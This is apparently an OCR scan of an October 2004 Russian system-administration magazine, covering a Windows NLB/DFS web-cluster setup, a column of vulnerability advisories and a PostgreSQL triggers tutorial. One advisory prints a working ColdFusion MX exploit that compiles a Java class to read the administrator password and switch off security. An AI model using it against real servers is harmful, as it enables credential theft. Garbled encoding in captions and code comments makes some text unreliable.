ний, как Private и Public Cluster Connection, соответственно для кластерного и общего соединений. На первом сервере NODE1 поднимаем Active Directory «cluster.local». Все ставим по умолчанию. Проверяем DNS-записи серверов на основном контроллере домена. Удаляем зону «.». Поднимаем forward (обратную) зону Active Directory Integrated. Включаем остальные машины в домен в качестве Stand Alone Server.

2-й этап. Поднятие NLB-кластера

Ðèñóíîê 3

! На вкладке Port Rules можно указать, на какие порты IP будет отзываться кластер. Здесь можно либо ограничить отклик только на определенные порты вроде порта сервера IIS, либо оставить по умолчанию и настроить позже:

На этом этапе мы настраиваем службу NLB (Network Load Balancing). Вообще, честно говоря, эта служба имеет очень отдаленное отношение к понятию кластеров. Но уж так сложилось, что Microsoft назвала эту службу службой кластера. Как говорится, Microsoft by Design. Все операции по созданию такого кластера проводятся на первом сервере с помощью оснастки «Network Load Balancing Manager». ! Переходим на первый сервер. Запускаем NLB Manager. ! Правой кнопкой на «Network Load Balancing Clusters» → Create New Cluster. ! В первом окне заполняем поля с адресом, маской подсети и названием кластера:

Ðèñóíîê 4

! На вкладке Connect выбираем первый сервер NODE1 и выбираем внешний интерфейс «Public Cluster Connection», на котором будет «висеть» служба NLB.

Ðèñóíîê 2

! На вкладке Cluster IP Address (рис. 3) можно ввести дополнительные адреса кластера. Мы пропускаем этот этап.

№10(23), октябрь 2004

Ðèñóíîê 5

37


администрирование ! Все настройки первого узла в кластере можно свести в таблицу:

! По окончании синхронизации данных получаем картину:

Ðèñóíîê 8

3-й этап. Настройка IIS, настройка репликации данных

Ðèñóíîê 6

! После создания кластера из одного узла и генерации самого кластера подключаем остальные 3 узла.

! Правой кнопкой в NLB Manager на созданном кластере → «Add new host for cluster».

! В окошке «Connect» выбираем по очереди NODE2,

Третий этап по сути заключительный. На нем мы корректируем настройки IIS на всех четырех серверах и поднимаем репликацию содержимого IIS с первого узла в кластере на остальные. Все операции выполняются на первом сервере с помощью оснастки «Distributed File System Manager». ! Проверяем, чтобы на всех узлах был установлен IIS в одинаковой конфигурации. Состав пакетов значения не имеет, просто лучше, если на всех узлах будет одна конфигурация. ! На первом узле создаем директорию «C:\IIS». ! Запускаем DFS Manager (Distributed File System Manager). ! На вкладке «Root Type» выбираем тип «Domain Root»:

NODE3, NODE4 и для каждого из узлов выбираем «Public Cluster Connection». ! После всех процедур и генерации кластера в оснастке NLB Manager добавятся остальные узлы. В этой же оснастке мы сможем изменять параметры кластера, параметры узлов, как показано на рис. 7, 8.

Ðèñóíîê 9

! На вкладке «Host Domain»выбираем наш кластер «cluster.local»:

Ðèñóíîê 7

38

Ðèñóíîê 10


администрирование ! На вкладке «Host Server» выбираем первый сервер node1.cluster.local:

! После создания корневой директории определяем общий доступ для каталога с содержимым IIS-сервера «C:\Inetpub\wwwroot». ! В DFS Manager выбираем «New Link», вводим имя ссылки. В поле «Path to Target» выбираем директорию с содержимым IIS-сервера, предоставленную в общий доступ, как показано на рисунке:

Ðèñóíîê 11

! На вкладке «Root Name» вводим имя корневого каталога:

Ðèñóíîê 14

! Остальные операции по созданию конечных ссылок можно будет проводить в оснастке «Distributed File System Manager»:

Ðèñóíîê 12

! На вкладке «Root Share» выбираем созданный нами каталог «C:\IIS»: Ðèñóíîê 15

! Далее необходимо создать ссылки на остальные сервера кластера. Для этого на каждом из узлов предоставляем в общий доступ каталоги с содержимым IISсервера. ! Выбираем «New Target» и по очереди добавляем оставшиеся три узла:

Ðèñóíîê 13

! Все настройки корневого каталога можно свести в таблицу:

№10(23), октябрь 2004

Ðèñóíîê 16

39


администрирование ! После создания ссылки на второй узел нам будет предложено настроить репликацию между узлами кластера. Соглашаемся, выбираем первый узел (рис. 17). В качестве топологии репликации определяем ручной режим, как показано на рис. 18.

Ðèñóíîê 20

! После создания всех ссылок необходимо определенное Ðèñóíîê 17

время для предварительной синхронизации данных узлов. Обычно это занимает около 20-30 минут. Далее репликация данных будет проходить мгновенно, ну или почти мгновенно (по внутренней сети кластера). Результаты наших настроек наблюдаем в DFS Manager:

Ðèñóíîê 21

! Хочется также упомянуть, что репликация данных меж-

Ðèñóíîê 18

! Топологию время репликации мы можем изменить в любое время из оснастки «DFS Manager». Для репликации данных с первого узла на оставшиеся выбираем ручной режим, как показано на рис. 19, 20.

ду серверами проходит от имени «System Account», поэтому при создании общего доступа к каталогам содержимого IIS-серверов достаточно прав на чтение. По крайней мере, у меня данный режим работал без особых проблем.

4-й этап. Последние штрихи Последним штрихом у нас будет создание DNS-записи со ссылкой на внешний адрес кластера. Заходим в DNS Manager и создаем запись CNAME → www.cluster.local → cluster.cluster.local. Делаем это для того, чтобы при заходе на ссылку www.cluster.local мы автоматически попадали на внешний адрес кластера. В результате NLB будет разруливать ситуацию с нагрузкой на узлы кластера, а DFS поможет автоматически реплицировать данные с первого узла на остальные. Вот вроде и все.

Заключение

Ðèñóíîê 19

40

Данный документ не является панацеей по созданию кластеров, он лишь отражает мой опыт в создании нестандартных систем. На некоторых рисунках вы видите только два узла. Однако настройки остальных серверов идентичны и не представляют особой сложности. Хочется выразить глубокую благодарность за неоценимую интеллектуальную помощь Андрееву Павлу, системному администратору Novavox.


bugtraq

Раскрытие пароля администратора в ColdFusion MX Программа: ColdFusion MX 6.1. Опасность: средняя. Описание: Уязвимость обнаружена в ColdFusion MX. Удаленный авторизованный пользователь, способный создавать ColdFusion-шаблоны, которые содержат тэги Create Object и cfobject, может создать шаблон, чтобы получить доступ к паролю администратора. Пример: <cfscript> objFileWriter = CreateObject("java","java.io.FileWriter"); objByteArray = CreateObject("java", ↵ "java.io.ByteArrayOutputStream"); objJavaC = CreateObject("java","sun.tools.javac.Main"); objString = CreateObject("java","java.lang.String"); objFile = CreateObject("java","java.io.File"); if (Server.Os.Name IS "Windows") { s = "\"; } else { s = "/"; } strJavaSource = "#Server.ColdFusion.Rootdir##s ↵ #lib#s#SecurityExploit.java"; strCfusionJar = "#Server.ColdFusion.Rootdir##s ↵ #lib#s#cfusion.jar"; strNeoSecFile = "#Server.ColdFusion.Rootdir##s ↵ #lib#s#neo-security.xml"; strPasswdFile = "#Server.ColdFusion.Rootdir##s#lib#s ↵ #password.properties"; fileWriter = objFileWriter.init("#strJavaSource#",false); fileWriter.write("import coldfusion.security. ↵ SecurityManager;"); fileWriter.write("import java.io.File;"); fileWriter.write("public class SecurityExploit ↵ extends SecurityManager {"); fileWriter.write("public SecurityExploit(File arg0, ↵ File arg1) {"); fileWriter.write("super(arg0, arg1); }"); fileWriter.write("public boolean isAdminSecurityEnabled(){"); fileWriter.write("return false;}}"); fileWriter.flush(); fileWriter.close(); str = objString.init("-classpath,#strCfusionJar#, ↵ #strJavaSource#"); strArr = str.split(","); byteArray = objByteArray.init(); compileObj =objJavaC.init(byteArray,str); compileObj.compile(strArr); obj = CreateObject("java","SecurityExploit"); file1 = objFile.init("#strNeoSecFile#"); file2 = objFile.init("#strPasswdFile#"); obj.init(file1,file2); obj.load(); </cfscript> <cfscript> // Get Administrator Password strAdminPw = obj.getAdminPassword(); // Set Administrator Password //obj.setAdminPassword("test123"); // Turn off Sandbox Security //obj.setSandboxSecurityEnabled(false); // Turn off Administrator Login //obj.setAdminSecurityEnabled(false); // Turn off RDS Login //obj.setRdsSecurityEnabled(false); // Set RDS Password //obj.setRdsPassword("test123"); // Turn off JVM Security //obj.setJvmSecurityEnabled(false); </cfscript>

URL производителя: http://www.macromedia.com. Решение: Способов устранения обнаруженной уязвимости не существует в настоящее время.

Удаленный отказ в обслуживании в RealNetworks Helix Universal Server Программа: RealNetworks Helix Universal Server 9.0.4.958 и более ранние версии. Опасность: средняя. Описание: Удаленный пользователь может послать специально сформированный HTTP POST-запрос с ContentLength-заголовком, установленным к «-1», чтобы заставить целевой сервер использовать чрезмерное количество памяти и ресурсов CPU. Для восстановления нормальной работы требуется перезагрузка сервера. URL производителя: http://service.real.com/help/faq/ security/security100704.html. Решение: Установите обновленную версию сервера (9.0.4.960).

Удаленный доступ к произвольным файлам в Samba Программа: Samba 2.2 – 2.2.11, 3.0 – 3.0.5. Опасность: средняя. Описание: Удаленный пользователь может получить доступ к файлам, расположенным вне общедоступного пути. Уязвимость в проверке правильности входных данных обнаружена в обработке MS-DOS-имен путей. Удаленный пользователь может эксплуатировать этот недостаток, чтобы получить доступ к файлам на целевой системе, которые расположены вне общедоступного пути, определенного в smb.conf. Файлы могут быть просмотрены с привилегиями целевой учетной записи. URL производителя: http://www.samba.org. Решение: Установите обновленную версию SAMBA (2.2.12): http://samba.org/samba/ftp/samba-2.2.12.tar.gz.

Удаленное выполнение произвольного кода в Microsoft Windows NT/2000/2003 Опасность: критическая. Описание: Уязвимость обнаружена в Microsoft Windows NT/ 2000/2003. Удаленный пользователь может представить специально обработанное, чрезмерно длинное сообщение, чтобы вызвать переполнение буфера в NNTP (Network News Transfer Protocol) компоненте. Успешная эксплуатация позволяет выполнить произвольный код на целевой системе, в которой используется NNTP. URL производителя: http://www.Microsoft.com. Решение: Установите соответствующее обновление.

Многочисленные переполнения буфера в IBM DB2 Программа: DB2 8.1 Fixpak 7 и более ранние версии. Опасность: высокая. Описание: Обнаружено несколько переполнений буфера в IBM DB2 Universal Database. Удаленный атакующий может выполнить произвольный код на уязвимой системе. URL производителя: http://www.ibm.com. Решение: Установите Fixpaсk 6a и 7a с сайта производителя: http://www.ibm.com/software/data/db2/udb/support/ downloadv8.htm.

Составил Александр Антипов

№10(23), октябрь 2004

41


администрирование

PostgreSQL: ФУНКЦИИ И ТРИГГЕРЫ

СЕРГЕЙ СУПРУНОВ Система управления базами данных PostgreSQL обладает очень мощными средствами, делающими возможным перенос части так называемой бизнес-логики приложения со стороны клиента (по отношению к СУБД) на сторону сервера. При этом сокращается, и порой существенно, трафик между клиентом и сервером, упрощается сопровождение разработанного приложения (сервер один, а клиентов может быть много), повышается надежность в плане целостности данных, в ряде случаев становится проще и сам алгоритм работы приложения. Данная статья посвящена рассмотрению одного из наиболее эффективных средств – триггеров. Все примеры тестировались на PostgreSQL 7.4.2, работающей на системе FreeBSD 5.2. Для примера разработаем функцию оформления заказа в простом интернет-магазине, отличительной особенностью которой будет максимально возможный перенос всей логики на сторону СУБД. Итак, пользователь выбрал интересующий его товар и нажал ссылку «Купить». Далее необходимо: 1. Занести в БД информацию о поступлении заказа. 2. Проверить, есть ли необходимое количество товара на складе. 3. Если есть – зарезервировать товар, уменьшив при этом остаток на складе. Если необходимого количества на складе нет, то проверить, не находится ли в резерве нужный товар свыше 5 дней. Если такое имеется и количество товара по просроченным заказам достаточно для исполнения текущего, то просроченные заказы нужно аннулировать, а товар резервировать для нового заказа. 4. При свободном остатке того или иного товара на складе меньше определенного значения сформировать запись в таблице предупреждений.

42

5. Все «нештатные» ситуации (невозможность зарезервировать требуемое количество, аннулирование неоплаченного заказа) должны отражаться в таблице предупреждений. Операции выставления счетов, получения оплаты и т. д. для простоты возложим на менеджеров компании. Методы их взаимодействия с базой данных рассматривать в данной статье не будем. Также не будем резервировать товар частично, если необходимого количества не оказалось – пусть этим тоже занимаются менеджеры. Для наглядности алгоритм того, как должно вести себя наше приложение, представлен на рис. 1. Итак, попытаемся решить сформулированные выше задачи без помощи «внешнего» сценария, по одному-единственному запросу к СУБД. Структура БД для нашей задачи будет следующая: ! Таблица «Заказы», orders: ! Идентификатор заказа, order_id, serial. ! Информация о покупателе, customer, varchar. ! Идентификатор товара, goods_id, numeric(3). ! Количество единиц товара, count, numeric(2). ! Цена товара, по которой делается заказ, price, numeric(7,2). ! Дата заказа, date, date. ! Таблица «Товары», goods: ! Идентификатор товара, goods_id, serial. ! Описание товара, goods, varchar. ! Минимальный остаток на складе, rest, numeric(2). ! Таблица «Склад», warehouse: ! Идентификатор товара, goods_id, numeric(3). ! Количество, count, numeric(5). ! Таблица «Резерв», reserved:


администрирование ! ! ! !

Идентификатор заказа, order_id, numeric(5). Идентификатор товара, goods_id, numeric(3). Зарезервированное количество, count, numeric(2). Дата резервирования, date, date. ! Таблица «Предупреждения», warnings: ! Дата и время записи, date_time, timestamp. ! Содержание записи, messages, text. ! Дочерняя таблица order_warnings. ! Идентификатор заказа, order_id, numeric(5). ! Дочерняя таблица goods_warnings. ! Идентификатор товара, goods_id, numeric(3). Поскольку предупреждения могут быть связаны как с заказом, так и с товаром, то для повышения наглядности воспользуемся такой возможностью PostgreSQL, как наследование таблиц. Родительская таблица warnings будет содержать все предупреждения, а дочерние order_warnings и goods_warnings – дополнять ее идентификаторами соответствующего заказа или товара. Для решения указанных задач, как нетрудно догадаться, будем использовать триггеры. Напомню, что триггер – это связь хранимой процедуры с одной (или несколькими) из операций модификации, выполняемых над таблицей (UPDATE, INSERT, DELETE), автоматически запускающая эту процедуру (функцию) при получении соответствующего запроса. Нам понадобятся «базовый» триггер, выполняемый после операции добавления записи (INSERT) в таблицу orders – для решения задач 1-3, и триггер на операцию UPDATE таблицы warehouse для контроля обязательных остатков (задача 4). Функцию записи предупреждений каждый из этих триггеров будет выполнять в соответствии со своей «зоной ответственности». Итак, создадим базу данных eshop, в которой и будем экспериментировать. В ней создаем структуру нашей БД:

create table orders(order_id serial, customer varchar, goods_id numeric(5), date date, count numeric(3), price numeric(7,2)); create table goods(goods_id serial, goods varchar, rest numeric(2)); create table warehouse(goods_id numeric(5), count numeric(5)); create table reserved(goods_id numeric(5), order_id numeric(5), count numeric(3), date date); create table warnings(date date, message text); create table order_warnings(order_id numeric(5)) inherits(warnings); create table goods_warnings(goods_id numeric(5)) inherits(warnings);

Далее, нам нужно убедиться, что процедурный язык PL/ pgSQL доступен в созданной базе. Для этого выполните следующую команду: select * from pg_language;

Если plpgsql в полученном результате отсутствует, то из командной оболочки вашей ОС выполните следующую команду: $ createlang –U pgsql plpgsql eshop

Опция –U задает пользователя – администратора БД, от имени которого будет выполняться данная операция. Поддержка языка может быть включена и из программы-клиента (например, psql) выполнением следующих двух команд: create function plpgsql_call_handler() returns language_handler as ‘$libdir/plpgsql’, ‘plpgsql_call_handler’

Ðèñóíîê 1

№10(23), октябрь 2004

43


администрирование language ‘c’; create trusted procedural language ‘plpgsql’ handler plpgsql_call_handler;

Первая из них создает функцию-обработчик на базе библиотечной функции, вторая – собственно язык PL/pgSQL на основе созданного выше обработчика. Если вы считаете, что процедурный язык будет нужен вам во всех (или большинстве) базах данных, то таким же образом его можно добавить в БД template1. В результате этого поддержка PL/pgSQL будет автоматически добавляться во все создаваемые впоследствии базы (при создании новой базы по умолчанию в нее переносятся все объекты из БД template1, хотя шаблон может быть задан и явно, указанием параметра TEMPLATE в команде CREATE DATABASE). Сначала немного теории. Триггер связывает функцию с операцией модификации таблицы. Следовательно, чтобы было что связывать, мы должны создать триггерную функцию. Синтаксис функции на языке PL/pgSQL следующий: create [or replace] function <èìÿ ôóíêöèè>(<àðãóìåíòû>) returns <òèï âîçâðàòà> as ‘<òåëî ôóíêöèè>’ language ‘plpgsql’;

Есть и другие опции. С ними можно ознакомиться в документации, а сейчас они нам не интересны. Необязательная фраза «or replace» позволяет перезапись функции при попытке создать другую с таким же именем (например, записать исправленный вариант). Без этого ключевого слова будет сгенерирована ошибка и потребуется сначала удалить существующую функцию и лишь затем записать на ее место новую. Скобки после имени функции обязательны, даже если функция не имеет аргументов. Слово «returns» задает тип возвращаемых функцией данных. Указание языка также обязательно. В нашем случае это «plpgsql». Тело функции имеет следующую структуру: DECLARE íåîáÿçàòåëüíûé ðàçäåë îïðåäåëåíèé BEGIN Îïåðàòîðû ôóíêöèè END;

Последним оператором функции должен быть оператор «return», возвращающий данные указанного выше типа, даже если выход из функции осуществляется раньше (например, в блоке проверки условия) и эта команда никогда не получит управление. Как и любой нормальный язык программирования, PL/ pgSQL позволяет оперировать переменными. Все переменные (за одним исключением, о котором будет упомянуто ниже) должны быть описаны в разделе DELCARE, т.е. их необходимо перечислить с указанием типа данных. В этом же разделе допускается и инициализация переменной начальным значением с помощью ключевого слова DEFAULT. Общий синтаксис описания следующий: <ïåðåìåííàÿ> <òèï> [ DEFAULT <çíà÷åíèå>];

Вместо слова «DEFAULT» допускается использование оператора присваивания «:=», но, на мой взгляд, такая за-

44

пись выглядит несколько коряво. Точка с запятой в конце каждого описания обязательна. Переменная может быть любого типа, который поддерживается в PostgreSQL. Кроме того, существуют три специальных типа данных: RECORD, table%RECTYPE и table.field%TYPE. Первый описывает запись любой таблицы, второй – запись указанной таблицы table, третий создает переменную такого же типа, как и тип указанного поля field таблицы table. Примеры использования этих типов данных будут приведены ниже. В основной секции, заключенной в операторные скобки BEGIN-END, могут использоваться операторы присваивания, математические операторы, ветвления, циклы, вызовы других функций. Кроме того, тело функции может содержать вложенные блоки, имеющие ту же структуру (т.е. DECLARE-BEGIN-END). Видимость переменных распространяется на блок, в котором она описана, и на все вложенные блоки. Ниже конспективно перечислены основные операторы языка PL/pgSQL, которые понадобятся нам в дальнейшем: ! Оператор присваивания :=. Такой же, как в языке Pascal. Сопоставляет переменную с некоторым значением или результатом выражения. ! Оператор ветвления IF-ELSE-END IF. Знакомая всем с детства конструкция, позволяющая выполнить проверку некоторого условия и в зависимости от результата проверки перейти на выполнение того или иного блока команд. Синтаксис: If <óñëîâèå> then <îïåðàòîðû;…> [else <îïåðàòîðû;…>] end if;

! Оператор цикла FOR. Наиболее распространенный цикл. Переменная цикла <var> – то самое исключение, когда переменная может не описываться в секции DECLARE. В этом случае зона ее видимости ограничивается циклом. Синтаксис: For <var> in <start>..<stop> loop <òåëî öèêëà> End loop;

Существует вариант этого цикла и для «прохода» по результату выборки: For <row-var> in <select> loop <òåëî öèêëà> End loop;

В этом случае в переменную <row-var> последовательно подставляются строки из выборки, и тип этой переменной должен быть либо <table>%rowtype, отражающий запись конкретной таблицы <table>, либо RECORD, описывающий обобщенную запись таблицы. С остальными операторами, а также со встроенными функциями можно познакомиться в документации к языку PL/pgSQL. В качестве примера создадим обычную (не триггерную) функцию, которая занесет в таблицу test1 (позже мы ее удалим) N случайных чисел. Сейчас польза от этого исклю-


администрирование чительно в виде примера, а в принципе таким образом можно, например, заполнять базу для выполнения тестов. CREATE OR REPLACE FUNCTION inserter(int4) RETURNS int4 AS 'DECLARE N alias for $1; Rand numeric default 0.5; tmp varchar; BEGIN select tablename into tmp from pg_tables where tablename = \'test1\'; if tmp is null then raise exception \'Table test1 not found.\'; else delete from test1; end if; for i in 1..N loop Rand := random(); insert into test1 values(Rand); end loop; return 0; END;' LANGUAGE 'plpgsql’;

Этот несложный пример демонстрирует большое количество особенностей работы функций. Пройдемся по ним по порядку. Конструкция «alias for $N» в секции описаний позволяет связать описываемую переменную с другой, описанной ранее. В данном случае мы устанавливаем связь со стандартными переменными-параметрами. Так, $1 соответствует первому параметру, $2 – второму и т. д. Для удобства работы передаваемый в функцию параметр мы связываем с переменной N. При описании переменной Rand показано, как инициализировать переменную значением на стадии описания, хотя в данном случае это и не нужно. Конструкция «select <список полей> into <список переменных> …» позволяет сохранять результат выборки в переменных для дальнейшего использования. Количество переменных должно соответствовать количеству выбираемых полей. В данном случае мы проверяем, есть ли в нашей БД нужная нам таблица test1. Если она существует, то в служебной таблице pg_tables для нее будет запись. В противном случае переменная tmp получит псевдозначение NULL. Также обратите внимание на необходимость экранирования всех кавычек, встречающихся в теле функции, поскольку оно уже заключено в кавычки как параметр команды create function (в дальнейшем, приводя листинги функций, я для простоты чтения символы экранирования буду опускать). Далее проверяем, содержит ли переменная tmp какоенибудь значение, и если нет – генерируем исключение (команда «raise exception»), по которому наша функция аварийно завершится. Если же таблица test1 существует, то очищаем ее от старых значений (если таковые имеются) и приступаем к заполнению ее случайными числами, для генерации которых используется внутренняя функция random(), возвращающая случайное число в диапазоне 0..1. Выполнить функцию можно с помощью такого запроса: select inserter(5);

№10(23), октябрь 2004

Запустите ее и убедитесь, что выполнение функции завершилось ошибкой «Table test1 not found.». Далее создаем нужную таблицу и повторяем выполнение функции: create table test1 (rnd numeric); select inserter(5); select * from test1;

Как видите, на этот раз все 5 записей послушно добавились. Причем добавить 500 000 записей будет столь же просто. А теперь попробуйте посчитать трафик и число обращений к серверу баз данных, если эту задачу решать с помощью внешнего сценария на Perl, который будет выполняться на другой машине… Пользуясь случаем, давайте заодно оценим скорость выполнения операций вставки и удаления (машина Cel466/64 Мб с полным «джентльменским набором» – Apache, Squid, Sendmail; load average ~0.1):

Третья команда помимо добавления пяти записей включала в себя удаление пятисот тысяч. Высокое время выполнения 4-й и 5-й команд объясняются значительной степенью фрагментации БД после удаления, хотя видна тенденция улучшать результат с каждым разом (оптимизаторто не дремлет). Ну и «полный вакуум» с опцией анализа в комментариях не нуждается («лучше день потерять, зато потом за пять минут долететь»). Нужно указать еще одну особенность: PostgreSQL выполняет кэширование функций, и при этом использует не имена таблиц, а их OID (Object Identifier). В результате, если теперь удалить таблицу test1, а потом создать ее повторно, то попытка выполнить функцию inserter завершится неудачей: ERROR: связь с OID 29481 не существует CONTEXT: PL/pgSQL function "inserter" line 10 at SQL statement

Чтобы восстановить работоспособность функции, ее придется пересоздать, повторно выполнив команду «create or replace function…». Теперь несколько слов о триггерных функциях. От обычных они отличаются тем, что тип возврата у них должен быть обязательно trigger: create [or replace] function <èìÿ ôóíêöèè>(<àðãóìåíòû>) returns trigger as ‘<òåëî ôóíêöèè>’ language ‘plpgsql’

Соответственно команды return, встречающиеся в теле функции, должны возвращать данные именно этого типа, который, по сути, является типом RECORD, то есть возвращает запись таблицы. Как правило, в качестве параметра возврата выступают специальные переменные NEW (новое значение модифицируемой записи) и OLD (старое значение), которые передаются в триггерную функцию автоматически. Вот мы и подошли к решению задачи, поставленной в начале статьи. Нужные таблицы уже созданы. Заполним их некоторыми значениями:

45


администрирование insert into goods(goods, rest) values(‘Êëàâèàòóðà’, 15); insert into goods(goods, rest) values(‘Ìûøü’, 25); insert into goods(goods, rest) values(‘Ìîíèòîð’, 5); insert into warehouse(goods_id, count) values(1, 30); insert into warehouse(goods_id, count) values(2, 30); insert into warehouse(goods_id, count) values(3, 7);

Далее создаем триггерную функцию, которая будет выполняться после вставки новой записи в таблицу orders (здесь приведено только тело функции): DECLARE whcount warehouse.count%type; rscount integer; rsorders integer; row reserved%rowtype; BEGIN --îïðåäåëÿåì êîëè÷åñòâî íà ñêëàäå select count into whcount from warehouse where goods_id = NEW.goods_id; if whcount < NEW.count then --çàïèñûâàåì ñîîáùåíèå î íåõâàòêå òîâàðà insert into goods_warnings(goods_id, message, date) values(NEW.goods_id, 'Íåäîñòàòî÷íî íà ñêëàäå', now()); --ïðîâåðÿåì, åñòü ëè ïðîñðî÷åííûå select count(count), sum(count) into rsorders, rscount from reserved where goods_id = NEW.goods_id and date < now() - '5 day'::interval; if rscount + whcount >= NEW.count then --îòìåíÿåì ïðîñðî÷åííûé çàêàç for row in select * from reserved where date < now() - '5 days'::interval loop update orders set status = 'cancelled' where order_id = row.order_id; delete from reserved where order_id = row.order_id; insert into orders_warnings(order_id, message, date) values(row.order_id, 'Çàêàç îòìåíåí', now()); end loop; --äåëàåì íîâóþ çàïèñü â òàáëèöó ðåçåðâà insert into reserved(order_id, goods_id, count, date) values(NEW.order_id, NEW.goods_id, NEW.count, NEW.date); --çàíîñèì, åñëè ÷òî-òî îñòàëîñü, íà ñêëàä update warehouse set count = count + rscount - NEW.count where goods_id = NEW.goods_id; else --çàðåçåðâèðîâàòü íå óäàëîñü – çàíîñèì ñîîòâåòñòâóþùèå ïîìåòêè update orders set status = 'not reserved' where order_id = NEW.order_id; insert into orders_warnings(order_id, message, date) values(NEW.order_id, 'Òîâàð ïî çàêàçó íå çàðåçåðâèðîâàí', now()); end if; else --óìåíüøàåì êîëè÷åñòâî íà ñêëàäå update warehouse set count = count - NEW.count where goods_id = NEW.goods_id; --äåëàåì çàïèñü â òàáëèöå ðåçåðâà insert into reserved(order_id, goods_id, count, date) values(NEW.order_id, NEW.goods_id, NEW.count NEW.date); end if; return NEW; END;

Обратите внимание на применение нами переменной reserved%rowtype – она описывает запись таблицы reserved, которую мы в дальнейшем используем для организации цикла (конструкция «for row in select ... loop») по записям, выбранным из этой таблицы. С тем же успехом можно было бы использовать переменную типа RECORD, однако из-за

46

меньшей скорости обработки этот тип рекомендуется задействовать только там, где переменная будет применяться при обработке нескольких таблиц или невозможно указать конкретную таблицу. Аналогично переменная whcount описана с тем же типом, что и поле count таблицы warehouse. Конкретно в данном примере это сделано исключительно в целях демонстрации такой возможности. Но в реальных проектах типы некоторых полей в базе могут меняться по тем или иным соображениям (например, поле типа char, хранящее IP-адреса машин, может быть в будущем изменено на специальный тип inet), и использование привязки типа переменных к типу поля позволит избежать внесения правок во все разработанные функции. И теперь создадим сам триггер, связывающий созданную выше функцию с операцией вставки новой записи в таблицу orders: create trigger set_order after insert on orders execute procedure orders_after_insert();

Точно так же поступим с триггером для контроля обязательных остатков (здесь все заметно проще): Create or replace function warehouse_after_update() returns trigger as 'BEGIN if NEW.count < (select rest from goods where goods_id = NEW.goods_id) then insert into goods_warnings(goods_id, message, date) values(NEW.goods_id, \'Îñòàòîê ìåíüøå îáÿçàòåëüíîãî\', now()); end if; return NEW; END;' language 'plpgsql'; Create trigger rest_control after update on warehouse execute procedure warehouse_after_update();

На что здесь можно обратить внимание, так это на непосредственное использование результата выборки в качестве переменной (см. конструкцию «select» в скобках). Естественно, выборка должна возвращать одно значение требуемого типа. Ну и поскольку благодаря этому в функции удалось обойтись без переменных, секцию DECLARE за ненадобностью можно опустить. И теперь приступаем к проверке работоспособности. Сначала оформим «штатный» заказ: insert into orders(customer, goods_id, count, price, date) values('Èâàíîâ Èâàí Èâàíîâè÷', 3, 1, 7302.00, '2004-07-15');

Убеждаемся, что на складе количество мониторов уменьшилось, записи в таблицах заказов и резерва появились, предупреждений нет. Теперь закажем сразу 4 монитора: insert into orders(customer, goods_id, count, price, date) values('Ãîðýëåêòðîñåòè', 3, 4, 7302.00, '2004-07-16');

Чтобы проверить правильность отмены просроченных заказов, даты выше были указаны прошедшие. Если сейчас заказать 10 мониторов, то заказ будет помечен как «not reserved», и соответствующая запись появится в таблице предупреждений. Поскольку даже с учетом просроченных заказов 10 мониторов никак не набирается, то и аннулиро-


администрирование ваться ничего не будет. А вот если заказать 3 монитора, то с учетом высвобождения просроченного резерва (5 штук) нужное количество набирается и даже 2 монитора будут возвращены на склад. В таблице предупреждений появится 4 записи – две об аннулировании просроченных заказов, одна о том, что имела место нехватка товара на складе, и одна о том, что остаток мониторов (4 шт.) меньше обязательного минимума (5 шт.). Итак, поставленная в начале статьи задача решена: оформление заказа, включая такой «интеллектуальный» элемент, как попытка высвободить нужный товар из просроченного резерва, выполняется по единственному запросу к СУБД. Очевидно, что если в функцию придется внести изменения (например, будет принято решение, что резерв должен храниться минимум 7 дней, а не 5), то они потребуются только на стороне СУБД. Клиенты (сколько бы их ни было) будут работать без каких-либо изменений. Кроме того, если одна из операций даст сбой (например, не удастся сделать запись в таблицу резерва), то произойдет «откат» всех остальных операций, выполненных при отработке функции, поскольку функция исполняется как единый транзакционный блок. Несколько слов о среде разработки. Конечно, никто не запрещает использовать для этого терминал psql, но малей-

шее изменение в функции потребует полностью набрать всю команду create function. Графический клиент PgAdmin существенно упрощает работу с функциями, однако некоторые недоработки интерфейса (невозможность сохранить изменения, не закрыв при этом окно редактора функции; отсутствие запоминания последнего размера окна – отрегулировав окно редактора один раз, при следующем его открытии придется делать все заново) способны сильно потрепать нервы. Поэтому лучше запастись более «продвинутым» приложением, например, средой разработки EMS PostgreSQL Manager (http://www.ems-hitech.com/index.phtml). Данная программа (рис. 2) предоставляет очень широкие возможности по разработке и отладке функций PostgreSQL, однако, как это ни печально, стоит денег. 30-дневную пробную версию можно загрузить с сайта разработчика. На этом я думаю завершить серию обзорных статей по PostgreSQL. В дальнейшем, безусловно, вопросы работы с этой СУБД будут рассматриваться довольно часто, но уже в плане конкретных задач. На мой взгляд, разработчикам PostgreSQL удается очень удачно сочетать динамичное развитие продукта с определенной долей осторожности и консерватизма, что, в конечном итоге, делает эту СУБД весьма удачным выбором.

Ðèñóíîê 2

№10(23), октябрь 2004

47


администрирование

конкурсная статья

ВНУТРЕННИЙ ВЕБ-СЕРВЕР Что админу хорошо, то пользователю – смерть. Народная мудрость

СЕРГЕЙ СУПРУНОВ Очень часто системному администратору, работающему в небольшой фирме, попутно приходится разрабатывать программы для внутренних нужд компании. Требования к подобному ПО, как правило, невысоки, но это с лихвой компенсируется очень сжатыми сроками, отводимыми на разработку. Освоить Delphi для того, чтобы на предприятии появилась программа-каталог пользователей Интернета или программа, формирующая материальные отчеты, было бы просто замечательно. Но времени на подобные вещи, как обычно, не хватает. И потому приходится идти другим путём. В данной статье я хочу рассказать о своем опыте использования веб-сервера для решения подобных задач. Почему был выбран столь экзотический способ? Вопервых, Perl я знаю несколько лучше, чем Delphi или C++ Builder. Во-вторых, такой подход без лишних усилий позволяет создавать клиент-серверные приложения, с которыми одновременно могут работать сотни пользователей, не заботясь о разработке клиентских программ – с этой ролью отлично справится любой браузер. В-третьих, налицо независимость от конкретных платформ и операционных систем – для сервера достаточно, чтобы на нем мог работать

48

